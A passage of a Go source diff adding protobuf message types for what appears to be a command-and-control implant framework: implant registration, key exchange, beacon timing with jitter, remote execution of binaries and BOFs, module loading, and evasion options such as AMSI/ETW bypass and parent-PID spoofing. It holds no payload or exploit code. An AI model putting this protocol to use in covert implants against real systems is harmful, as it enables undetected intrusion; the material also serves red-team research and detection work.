`protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Proxy string `protobuf:"bytes,2,opt,name=proxy,proto3" json:"proxy,omitempty"` + Module []string `protobuf:"bytes,3,rep,name=module,proto3" json:"module,omitempty"` + Addons []*Addon `protobuf:"bytes,4,rep,name=addons,proto3" json:"addons,omitempty"` + Timer *Timer `protobuf:"bytes,5,opt,name=timer,proto3" json:"timer,omitempty"` + Sysinfo *SysInfo `protobuf:"bytes,11,opt,name=sysinfo,proto3" json:"sysinfo,omitempty"` + Secure *Secure `protobuf:"bytes,12,opt,name=secure,proto3" json:"secure,omitempty"` // Implant's public key, used by server to encrypt data +} + +func (x *Register) Reset() { + *x = Register{} +} + +func (*Register) ProtoMessage() {} + +func (x *Register) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Register) GetProxy() string { + if x != nil { + return x.Proxy + } + return "" +} + +func (x *Register) GetModule() []string { + if x != nil { + return x.Module + } + return nil +} + +func (x *Register) GetAddons() []*Addon { + if x != nil { + return x.Addons + } + return nil +} + +func (x *Register) GetTimer() *Timer { + if x != nil { + return x.Timer + } + return nil +} + +func (x *Register) GetSysinfo() *SysInfo { + if x != nil { + return x.Sysinfo + } + return nil +} + +func (x *Register) GetSecure() *Secure { + if x != nil { + return x.Secure + } + return nil +} + +type Secure struct { + unknownFields []byte + Enable bool `protobuf:"varint,1,opt,name=enable,proto3" json:"enable,omitempty"` + Key string `protobuf:"bytes,2,opt,name=key,proto3" json:"key,omitempty"` // encryption key + Type string `protobuf:"bytes,3,opt,name=type,proto3" json:"type,omitempty"` // encryption type + PublicKey string `protobuf:"bytes,4,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Implant's public key, used by server to encrypt data +} + +func (x *Secure) Reset() { + *x = Secure{} +} + +func (*Secure) ProtoMessage() {} + +func (x *Secure) GetEnable() bool { + if x != nil { + return x.Enable + } + return false +} + +func (x *Secure) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Secure) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Secure) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +// Age key exchange related messages +type KeyExchangeRequest struct { + unknownFields []byte + PublicKey string `protobuf:"bytes,1,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Temporary public key (Age X25519) + Signature []byte `protobuf:"bytes,2,opt,name=signature,proto3" json:"signature,omitempty"` // Signature of temporary public key + Timestamp uint64 `protobuf:"varint,3,opt,name=timestamp,proto3" json:"timestamp,omitempty"` // Timestamp + Nonce string `protobuf:"bytes,4,opt,name=nonce,proto3" json:"nonce,omitempty"` // Nonce +} + +func (x *KeyExchangeRequest) Reset() { + *x = KeyExchangeRequest{} +} + +func (*KeyExchangeRequest) ProtoMessage() {} + +func (x *KeyExchangeRequest) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +func (x *KeyExchangeRequest) GetSignature() []byte { + if x != nil { + return x.Signature + } + return nil +} + +func (x *KeyExchangeRequest) GetTimestamp() uint64 { + if x != nil { + return x.Timestamp + } + return 0 +} + +func (x *KeyExchangeRequest) GetNonce() string { + if x != nil { + return x.Nonce + } + return "" +} + +type KeyExchangeResponse struct { + unknownFields []byte + PublicKey string `protobuf:"bytes,1,opt,name=public_key,json=publicKey,proto3" json:"publicKey,omitempty"` // Server temporary public key +} + +func (x *KeyExchangeResponse) Reset() { + *x = KeyExchangeResponse{} +} + +func (*KeyExchangeResponse) ProtoMessage() {} + +func (x *KeyExchangeResponse) GetPublicKey() string { + if x != nil { + return x.PublicKey + } + return "" +} + +type Init struct { + unknownFields []byte + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` +} + +func (x *Init) Reset() { + *x = Init{} +} + +func (*Init) ProtoMessage() {} + +func (x *Init) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type SysInfo struct { + unknownFields []byte + Filepath string `protobuf:"bytes,1,opt,name=filepath,proto3" json:"filepath,omitempty"` + Workdir string `protobuf:"bytes,2,opt,name=workdir,proto3" json:"workdir,omitempty"` + IsPrivilege bool `protobuf:"varint,3,opt,name=is_privilege,json=isPrivilege,proto3" json:"isPrivilege,omitempty"` + Os *Os `protobuf:"bytes,11,opt,name=os,proto3" json:"os,omitempty"` + Process *Process `protobuf:"bytes,12,opt,name=process,proto3" json:"process,omitempty"` +} + +func (x *SysInfo) Reset() { + *x = SysInfo{} +} + +func (*SysInfo) ProtoMessage() {} + +func (x *SysInfo) GetFilepath() string { + if x != nil { + return x.Filepath + } + return "" +} + +func (x *SysInfo) GetWorkdir() string { + if x != nil { + return x.Workdir + } + return "" +} + +func (x *SysInfo) GetIsPrivilege() bool { + if x != nil { + return x.IsPrivilege + } + return false +} + +func (x *SysInfo) GetOs() *Os { + if x != nil { + return x.Os + } + return nil +} + +func (x *SysInfo) GetProcess() *Process { + if x != nil { + return x.Process + } + return nil +} + +type Suicide struct { + unknownFields []byte + Type int32 `protobuf:"varint,1,opt,name=type,proto3" json:"type,omitempty"` + Timestamp int64 `protobuf:"varint,2,opt,name=timestamp,proto3" json:"timestamp,omitempty"` +} + +func (x *Suicide) Reset() { + *x = Suicide{} +} + +func (*Suicide) ProtoMessage() {} + +func (x *Suicide) GetType() int32 { + if x != nil { + return x.Type + } + return 0 +} + +func (x *Suicide) GetTimestamp() int64 { + if x != nil { + return x.Timestamp + } + return 0 +} + +// common empty request +type Request struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Input string `protobuf:"bytes,2,opt,name=input,proto3" json:"input,omitempty"` + Args []string `protobuf:"bytes,3,rep,name=args,proto3" json:"args,omitempty"` + Params map[string]string `protobuf:"bytes,4,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Bin []byte `protobuf:"bytes,5,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *Request) Reset() { + *x = Request{} +} + +func (*Request) ProtoMessage() {} + +func (x *Request) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Request) GetInput() string { + if x != nil { + return x.Input + } + return "" +} + +func (x *Request) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *Request) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +func (x *Request) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type Response struct { + unknownFields []byte + Output string `protobuf:"bytes,1,opt,name=output,proto3" json:"output,omitempty"` + Error string `protobuf:"bytes,2,opt,name=error,proto3" json:"error,omitempty"` + Kv map[string]string `protobuf:"bytes,3,rep,name=kv,proto3" json:"kv,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Array []string `protobuf:"bytes,4,rep,name=array,proto3" json:"array,omitempty"` +} + +func (x *Response) Reset() { + *x = Response{} +} + +func (*Response) ProtoMessage() {} + +func (x *Response) GetOutput() string { + if x != nil { + return x.Output + } + return "" +} + +func (x *Response) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +func (x *Response) GetKv() map[string]string { + if x != nil { + return x.Kv + } + return nil +} + +func (x *Response) GetArray() []string { + if x != nil { + return x.Array + } + return nil +} + +type BypassRequest struct { + unknownFields []byte + ETW bool `protobuf:"varint,1,opt,name=ETW,proto3" json:"ETW,omitempty"` + AMSI bool `protobuf:"varint,2,opt,name=AMSI,proto3" json:"AMSI,omitempty"` + BlockDll bool `protobuf:"varint,3,opt,name=block_dll,json=blockDll,proto3" json:"blockDll,omitempty"` +} + +func (x *BypassRequest) Reset() { + *x = BypassRequest{} +} + +func (*BypassRequest) ProtoMessage() {} + +func (x *BypassRequest) GetETW() bool { + if x != nil { + return x.ETW + } + return false +} + +func (x *BypassRequest) GetAMSI() bool { + if x != nil { + return x.AMSI + } + return false +} + +func (x *BypassRequest) GetBlockDll() bool { + if x != nil { + return x.BlockDll + } + return false +} + +type NetInterface struct { + unknownFields []byte + Index int32 `protobuf:"varint,1,opt,name=index,proto3" json:"index,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + Mac string `protobuf:"bytes,3,opt,name=mac,proto3" json:"mac,omitempty"` + IpAddresses []string `protobuf:"bytes,4,rep,name=ip_addresses,json=ipAddresses,proto3" json:"ipAddresses,omitempty"` +} + +func (x *NetInterface) Reset() { + *x = NetInterface{} +} + +func (*NetInterface) ProtoMessage() {} + +func (x *NetInterface) GetIndex() int32 { + if x != nil { + return x.Index + } + return 0 +} + +func (x *NetInterface) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *NetInterface) GetMac() string { + if x != nil { + return x.Mac + } + return "" +} + +func (x *NetInterface) GetIpAddresses() []string { + if x != nil { + return x.IpAddresses + } + return nil +} + +type SockTabEntry struct { + unknownFields []byte + LocalAddr string `protobuf:"bytes,1,opt,name=local_addr,json=localAddr,proto3" json:"localAddr,omitempty"` + RemoteAddr string `protobuf:"bytes,2,opt,name=remote_addr,json=remoteAddr,proto3" json:"remoteAddr,omitempty"` + SkState string `protobuf:"bytes,3,opt,name=skState,proto3" json:"skState,omitempty"` + // uint32 uid = 4; + Pid string `protobuf:"bytes,5,opt,name=pid,proto3" json:"pid,omitempty"` + Protocol string `protobuf:"bytes,6,opt,name=protocol,proto3" json:"protocol,omitempty"` +} + +func (x *SockTabEntry) Reset() { + *x = SockTabEntry{} +} + +func (*SockTabEntry) ProtoMessage() {} + +func (x *SockTabEntry) GetLocalAddr() string { + if x != nil { + return x.LocalAddr + } + return "" +} + +func (x *SockTabEntry) GetRemoteAddr() string { + if x != nil { + return x.RemoteAddr + } + return "" +} + +func (x *SockTabEntry) GetSkState() string { + if x != nil { + return x.SkState + } + return "" +} + +func (x *SockTabEntry) GetPid() string { + if x != nil { + return x.Pid + } + return "" +} + +func (x *SockTabEntry) GetProtocol() string { + if x != nil { + return x.Protocol + } + return "" +} + +type NetstatResponse struct { + unknownFields []byte + Socks []*SockTabEntry `protobuf:"bytes,1,rep,name=socks,proto3" json:"socks,omitempty"` +} + +func (x *NetstatResponse) Reset() { + *x = NetstatResponse{} +} + +func (*NetstatResponse) ProtoMessage() {} + +func (x *NetstatResponse) GetSocks() []*SockTabEntry { + if x != nil { + return x.Socks + } + return nil +} + +type Block struct { + unknownFields []byte + BlockId uint32 `protobuf:"varint,1,opt,name=block_id,json=blockId,proto3" json:"blockId,omitempty"` + Content []byte `protobuf:"bytes,2,opt,name=content,proto3" json:"content,omitempty"` + End bool `protobuf:"varint,3,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *Block) Reset() { + *x = Block{} +} + +func (*Block) ProtoMessage() {} + +func (x *Block) GetBlockId() uint32 { + if x != nil { + return x.BlockId + } + return 0 +} + +func (x *Block) GetContent() []byte { + if x != nil { + return x.Content + } + return nil +} + +func (x *Block) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type ACK struct { + unknownFields []byte + Id uint32 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Success bool `protobuf:"varint,2,opt,name=success,proto3" json:"success,omitempty"` + End bool `protobuf:"varint,3,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *ACK) Reset() { + *x = ACK{} +} + +func (*ACK) ProtoMessage() {} + +func (x *ACK) GetId() uint32 { + if x != nil { + return x.Id + } + return 0 +} + +func (x *ACK) GetSuccess() bool { + if x != nil { + return x.Success + } + return false +} + +func (x *ACK) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type Os struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Version string `protobuf:"bytes,2,opt,name=version,proto3" json:"version,omitempty"` // kernel version + Release string `protobuf:"bytes,3,opt,name=release,proto3" json:"release,omitempty"` // release version + Arch string `protobuf:"bytes,4,opt,name=arch,proto3" json:"arch,omitempty"` + Username string `protobuf:"bytes,5,opt,name=username,proto3" json:"username,omitempty"` + Hostname string `protobuf:"bytes,6,opt,name=hostname,proto3" json:"hostname,omitempty"` + Locale string `protobuf:"bytes,7,opt,name=locale,proto3" json:"locale,omitempty"` // timezone + ClrVersion []string `protobuf:"bytes,8,rep,name=clr_version,json=clrVersion,proto3" json:"clrVersion,omitempty"` +} + +func (x *Os) Reset() { + *x = Os{} +} + +func (*Os) ProtoMessage() {} + +func (x *Os) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Os) GetVersion() string { + if x != nil { + return x.Version + } + return "" +} + +func (x *Os) GetRelease() string { + if x != nil { + return x.Release + } + return "" +} + +func (x *Os) GetArch() string { + if x != nil { + return x.Arch + } + return "" +} + +func (x *Os) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *Os) GetHostname() string { + if x != nil { + return x.Hostname + } + return "" +} + +func (x *Os) GetLocale() string { + if x != nil { + return x.Locale + } + return "" +} + +func (x *Os) GetClrVersion() []string { + if x != nil { + return x.ClrVersion + } + return nil +} + +type Process struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` + Ppid uint32 `protobuf:"varint,3,opt,name=ppid,proto3" json:"ppid,omitempty"` + Owner string `protobuf:"bytes,4,opt,name=owner,proto3" json:"owner,omitempty"` + Arch string `protobuf:"bytes,5,opt,name=arch,proto3" json:"arch,omitempty"` + Path string `protobuf:"bytes,6,opt,name=path,proto3" json:"path,omitempty"` + Args string `protobuf:"bytes,7,opt,name=args,proto3" json:"args,omitempty"` + Uid string `protobuf:"bytes,8,opt,name=uid,proto3" json:"uid,omitempty"` +} + +func (x *Process) Reset() { + *x = Process{} +} + +func (*Process) ProtoMessage() {} + +func (x *Process) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Process) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +func (x *Process) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +func (x *Process) GetOwner() string { + if x != nil { + return x.Owner + } + return "" +} + +func (x *Process) GetArch() string { + if x != nil { + return x.Arch + } + return "" +} + +func (x *Process) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *Process) GetArgs() string { + if x != nil { + return x.Args + } + return "" +} + +func (x *Process) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + +type Timer struct { + unknownFields []byte + Expression string `protobuf:"bytes,1,opt,name=expression,proto3" json:"expression,omitempty"` + Jitter float64 `protobuf:"fixed64,2,opt,name=jitter,proto3" json:"jitter,omitempty"` +} + +func (x *Timer) Reset() { + *x = Timer{} +} + +func (*Timer) ProtoMessage() {} + +func (x *Timer) GetExpression() string { + if x != nil { + return x.Expression + } + return "" +} + +func (x *Timer) GetJitter() float64 { + if x != nil { + return x.Jitter + } + return 0 +} + +type FileInfo struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + IsDir bool `protobuf:"varint,2,opt,name=IsDir,proto3" json:"IsDir,omitempty"` + Size uint64 `protobuf:"varint,3,opt,name=Size,proto3" json:"Size,omitempty"` + ModTime int64 `protobuf:"varint,4,opt,name=ModTime,proto3" json:"ModTime,omitempty"` + Mode uint32 `protobuf:"varint,5,opt,name=Mode,proto3" json:"Mode,omitempty"` + Link string `protobuf:"bytes,6,opt,name=Link,proto3" json:"Link,omitempty"` +} + +func (x *FileInfo) Reset() { + *x = FileInfo{} +} + +func (*FileInfo) ProtoMessage() {} + +func (x *FileInfo) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *FileInfo) GetIsDir() bool { + if x != nil { + return x.IsDir + } + return false +} + +func (x *FileInfo) GetSize() uint64 { + if x != nil { + return x.Size + } + return 0 +} + +func (x *FileInfo) GetModTime() int64 { + if x != nil { + return x.ModTime + } + return 0 +} + +func (x *FileInfo) GetMode() uint32 { + if x != nil { + return x.Mode + } + return 0 +} + +func (x *FileInfo) GetLink() string { + if x != nil { + return x.Link + } + return "" +} + +type SacrificeProcess struct { + unknownFields []byte + Hidden bool `protobuf:"varint,1,opt,name=hidden,proto3" json:"hidden,omitempty"` + BlockDll bool `protobuf:"varint,2,opt,name=block_dll,json=blockDll,proto3" json:"blockDll,omitempty"` + Etw bool `protobuf:"varint,3,opt,name=etw,proto3" json:"etw,omitempty"` + Ppid uint32 `protobuf:"varint,4,opt,name=ppid,proto3" json:"ppid,omitempty"` + Argue string `protobuf:"bytes,5,opt,name=argue,proto3" json:"argue,omitempty"` +} + +func (x *SacrificeProcess) Reset() { + *x = SacrificeProcess{} +} + +func (*SacrificeProcess) ProtoMessage() {} + +func (x *SacrificeProcess) GetHidden() bool { + if x != nil { + return x.Hidden + } + return false +} + +func (x *SacrificeProcess) GetBlockDll() bool { + if x != nil { + return x.BlockDll + } + return false +} + +func (x *SacrificeProcess) GetEtw() bool { + if x != nil { + return x.Etw + } + return false +} + +func (x *SacrificeProcess) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +func (x *SacrificeProcess) GetArgue() string { + if x != nil { + return x.Argue + } + return "" +} + +type LsResponse struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"` + Exists bool `protobuf:"varint,2,opt,name=Exists,proto3" json:"Exists,omitempty"` + Files []*FileInfo `protobuf:"bytes,3,rep,name=Files,proto3" json:"Files,omitempty"` +} + +func (x *LsResponse) Reset() { + *x = LsResponse{} +} + +func (*LsResponse) ProtoMessage() {} + +func (x *LsResponse) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *LsResponse) GetExists() bool { + if x != nil { + return x.Exists + } + return false +} + +func (x *LsResponse) GetFiles() []*FileInfo { + if x != nil { + return x.Files + } + return nil +} + +type DriveInfo struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` // "C:\\" + DriveType string `protobuf:"bytes,2,opt,name=drive_type,json=driveType,proto3" json:"driveType,omitempty"` // "Fixed drive" + TotalSize uint64 `protobuf:"varint,3,opt,name=total_size,json=totalSize,proto3" json:"totalSize,omitempty"` // + FreeSize uint64 `protobuf:"varint,4,opt,name=free_size,json=freeSize,proto3" json:"freeSize,omitempty"` // + FileSystem string `protobuf:"bytes,5,opt,name=file_system,json=fileSystem,proto3" json:"fileSystem,omitempty"` // "NTFS" +} + +func (x *DriveInfo) Reset() { + *x = DriveInfo{} +} + +func (*DriveInfo) ProtoMessage() {} + +func (x *DriveInfo) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *DriveInfo) GetDriveType() string { + if x != nil { + return x.DriveType + } + return "" +} + +func (x *DriveInfo) GetTotalSize() uint64 { + if x != nil { + return x.TotalSize + } + return 0 +} + +func (x *DriveInfo) GetFreeSize() uint64 { + if x != nil { + return x.FreeSize + } + return 0 +} + +func (x *DriveInfo) GetFileSystem() string { + if x != nil { + return x.FileSystem + } + return "" +} + +type EnumDriversResponse struct { + unknownFields []byte + Drives []*DriveInfo `protobuf:"bytes,1,rep,name=drives,proto3" json:"drives,omitempty"` +} + +func (x *EnumDriversResponse) Reset() { + *x = EnumDriversResponse{} +} + +func (*EnumDriversResponse) ProtoMessage() {} + +func (x *EnumDriversResponse) GetDrives() []*DriveInfo { + if x != nil { + return x.Drives + } + return nil +} + +type PsResponse struct { + unknownFields []byte + Processes []*Process `protobuf:"bytes,1,rep,name=processes,proto3" json:"processes,omitempty"` +} + +func (x *PsResponse) Reset() { + *x = PsResponse{} +} + +func (*PsResponse) ProtoMessage() {} + +func (x *PsResponse) GetProcesses() []*Process { + if x != nil { + return x.Processes + } + return nil +} + +type ExecRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Args []string `protobuf:"bytes,2,rep,name=args,proto3" json:"args,omitempty"` + Output bool `protobuf:"varint,3,opt,name=output,proto3" json:"output,omitempty"` + Singleton bool `protobuf:"varint,4,opt,name=singleton,proto3" json:"singleton,omitempty"` + Realtime bool `protobuf:"varint,5,opt,name=realtime,proto3" json:"realtime,omitempty"` + Ppid uint32 `protobuf:"varint,10,opt,name=ppid,proto3" json:"ppid,omitempty"` +} + +func (x *ExecRequest) Reset() { + *x = ExecRequest{} +} + +func (*ExecRequest) ProtoMessage() {} + +func (x *ExecRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ExecRequest) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ExecRequest) GetOutput() bool { + if x != nil { + return x.Output + } + return false +} + +func (x *ExecRequest) GetSingleton() bool { + if x != nil { + return x.Singleton + } + return false +} + +func (x *ExecRequest) GetRealtime() bool { + if x != nil { + return x.Realtime + } + return false +} + +func (x *ExecRequest) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +type ExecResponse struct { + unknownFields []byte + StatusCode int32 `protobuf:"varint,1,opt,name=status_code,json=statusCode,proto3" json:"statusCode,omitempty"` + Stdout []byte `protobuf:"bytes,2,opt,name=stdout,proto3" json:"stdout,omitempty"` + Stderr []byte `protobuf:"bytes,3,opt,name=stderr,proto3" json:"stderr,omitempty"` + Pid uint32 `protobuf:"varint,4,opt,name=pid,proto3" json:"pid,omitempty"` + End bool `protobuf:"varint,5,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *ExecResponse) Reset() { + *x = ExecResponse{} +} + +func (*ExecResponse) ProtoMessage() {} + +func (x *ExecResponse) GetStatusCode() int32 { + if x != nil { + return x.StatusCode + } + return 0 +} + +func (x *ExecResponse) GetStdout() []byte { + if x != nil { + return x.Stdout + } + return nil +} + +func (x *ExecResponse) GetStderr() []byte { + if x != nil { + return x.Stderr + } + return nil +} + +func (x *ExecResponse) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +func (x *ExecResponse) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type BinaryResponse struct { + unknownFields []byte + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` // common return, bof BeaconOutput + Message []byte `protobuf:"bytes,2,opt,name=message,proto3" json:"message,omitempty"` // bof BeaconPrintf + Err string `protobuf:"bytes,4,opt,name=err,proto3" json:"err,omitempty"` + Status int32 `protobuf:"varint,3,opt,name=status,proto3" json:"status,omitempty"` +} + +func (x *BinaryResponse) Reset() { + *x = BinaryResponse{} +} + +func (*BinaryResponse) ProtoMessage() {} + +func (x *BinaryResponse) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *BinaryResponse) GetMessage() []byte { + if x != nil { + return x.Message + } + return nil +} + +func (x *BinaryResponse) GetErr() string { + if x != nil { + return x.Err + } + return "" +} + +func (x *BinaryResponse) GetStatus() int32 { + if x != nil { + return x.Status + } + return 0 +} + +type Modules struct { + unknownFields []byte + Modules []string `protobuf:"bytes,1,rep,name=modules,proto3" json:"modules,omitempty"` +} + +func (x *Modules) Reset() { + *x = Modules{} +} + +func (*Modules) ProtoMessage() {} + +func (x *Modules) GetModules() []string { + if x != nil { + return x.Modules + } + return nil +} + +type Addons struct { + unknownFields []byte + Addons []*Addon `protobuf:"bytes,1,rep,name=addons,proto3" json:"addons,omitempty"` +} + +func (x *Addons) Reset() { + *x = Addons{} +} + +func (*Addons) ProtoMessage() {} + +func (x *Addons) GetAddons() []*Addon { + if x != nil { + return x.Addons + } + return nil +} + +type Addon struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + Depend string `protobuf:"bytes,3,opt,name=depend,proto3" json:"depend,omitempty"` +} + +func (x *Addon) Reset() { + *x = Addon{} +} + +func (*Addon) ProtoMessage() {} + +func (x *Addon) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Addon) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Addon) GetDepend() string { + if x != nil { + return x.Depend + } + return "" +} + +type LoadModule struct { + unknownFields []byte + Bundle string `protobuf:"bytes,1,opt,name=bundle,proto3" json:"bundle,omitempty"` + Bin []byte `protobuf:"bytes,2,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *LoadModule) Reset() { + *x = LoadModule{} +} + +func (*LoadModule) ProtoMessage() {} + +func (x *LoadModule) GetBundle() string { + if x != nil { + return x.Bundle + } + return "" +} + +func (x *LoadModule) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type LoadAddon struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + Depend string `protobuf:"bytes,3,opt,name=depend,proto3" json:"depend,omitempty"` + Bin []byte `protobuf:"bytes,4,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *LoadAddon) Reset() { + *x = LoadAddon{} +} + +func (*LoadAddon) ProtoMessage() {} + +func (x *LoadAddon) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *LoadAddon) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *LoadAddon) GetDepend() string { + if x != nil { + return x.Depend + } + return "" +} + +func (x *LoadAddon) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type ExecuteAddon struct { + unknownFields []byte + Addon string `protobuf:"bytes,1,opt,name=addon,proto3" json:"addon,omitempty"` + ExecuteBinary *ExecuteBinary `protobuf:"bytes,2,opt,name=execute_binary,json=executeBinary,proto3" json:"executeBinary,omitempty"` +} + +func (x *ExecuteAddon) Reset() { + *x = ExecuteAddon{} +} + +func (*ExecuteAddon) ProtoMessage() {} + +func (x *ExecuteAddon) GetAddon() string { + if x != nil { + return x.Addon + } + return "" +} + +func (x *ExecuteAddon) GetExecuteBinary() *ExecuteBinary { + if x != nil { + return x.ExecuteBinary + } + return nil +} + +type ExecuteBinary struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Bin []byte `protobuf:"bytes,2,opt,name=bin,proto3" json:"bin,omitempty"` + Param map[string]string `protobuf:"bytes,3,rep,name=param,proto3" json:"param,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Type string `protobuf:"bytes,4,opt,name=type,proto3" json:"type,omitempty"` + ProcessName string `protobuf:"bytes,5,opt,name=process_name,json=processName,proto3" json:"processName,omitempty"` + Args []string `protobuf:"bytes,6,rep,name=args,proto3" json:"args,omitempty"` + EntryPoint string `protobuf:"bytes,7,opt,name=entry_point,json=entryPoint,proto3" json:"entryPoint,omitempty"` + Data []byte `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"` + Output bool `protobuf:"varint,9,opt,name=output,proto3" json:"output,omitempty"` + Arch uint32 `protobuf:"varint,10,opt,name=arch,proto3" json:"arch,omitempty"` + Timeout uint32 `protobuf:"varint,11,opt,name=timeout,proto3" json:"timeout,omitempty"` + Sacrifice *SacrificeProcess `protobuf:"bytes,12,opt,name=sacrifice,proto3" json:"sacrifice,omitempty"` + Path string `protobuf:"bytes,13,opt,name=path,proto3" json:"path,omitempty"` + Context string `protobuf:"bytes,14,opt,name=context,proto3" json:"context,omitempty"` + Delay uint32 `protobuf:"varint,15,opt,name=delay,proto3" json:"delay,omitempty"` //millisecond +} + +func (x *ExecuteBinary) Reset() { + *x = ExecuteBinary{} +} + +func (*ExecuteBinary) ProtoMessage() {} + +func (x *ExecuteBinary) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ExecuteBinary) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *ExecuteBinary) GetParam() map[string]string { + if x != nil { + return x.Param + } + return nil +} + +func (x *ExecuteBinary) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *ExecuteBinary) GetProcessName() string { + if x != nil { + return x.ProcessName + } + return "" +} + +func (x *ExecuteBinary) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ExecuteBinary) GetEntryPoint() string { + if x != nil { + return x.EntryPoint + } + return "" +} + +func (x *ExecuteBinary) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *ExecuteBinary) GetOutput() bool { + if x != nil { + return x.Output + } + return false +} + +func (x *ExecuteBinary) GetArch() uint32 { + if x != nil { + return x.Arch + } + return 0 +} + +func (x *ExecuteBinary) GetTimeout() uint32 { + if x != nil { + return x.Timeout + } + return 0 +} + +func (x *ExecuteBinary) GetSacrifice() *SacrificeProcess { + if x != nil { + return x.Sacrifice + } + return nil +} + +func (x *ExecuteBinary) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ExecuteBinary) GetContext() string { + if x != nil { + return x.Context + } + return "" +} + +func (x *ExecuteBinary) GetDelay() uint32 { + if x != nil { + return x.Delay + } + return 0 +} + +type ExecuteCommand struct { + unknownFields []byte + Command string `protobuf:"bytes,1,opt,name=command,proto3" json:"command,omitempty"` + Sacrifice *SacrificeProcess `protobuf:"bytes,2,opt,name=sacrifice,proto3" json:"sacrifice,omitempty"` +} + +func (x *ExecuteCommand) Reset() { + *x = ExecuteCommand{} +} + +func (*ExecuteCommand) ProtoMessage() {} + +func (x *ExecuteCommand) GetCommand() string { + if x != nil { + return x.Command + } + return "" +} + +func (x *ExecuteCommand) GetSacrifice() *SacrificeProcess { + if x != nil { + return x.Sacrifice + } + return nil +} + +type UploadRequest struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Target string `protobuf:"bytes,2,opt,name=target,proto3" json:"target,omitempty"` + Priv uint32 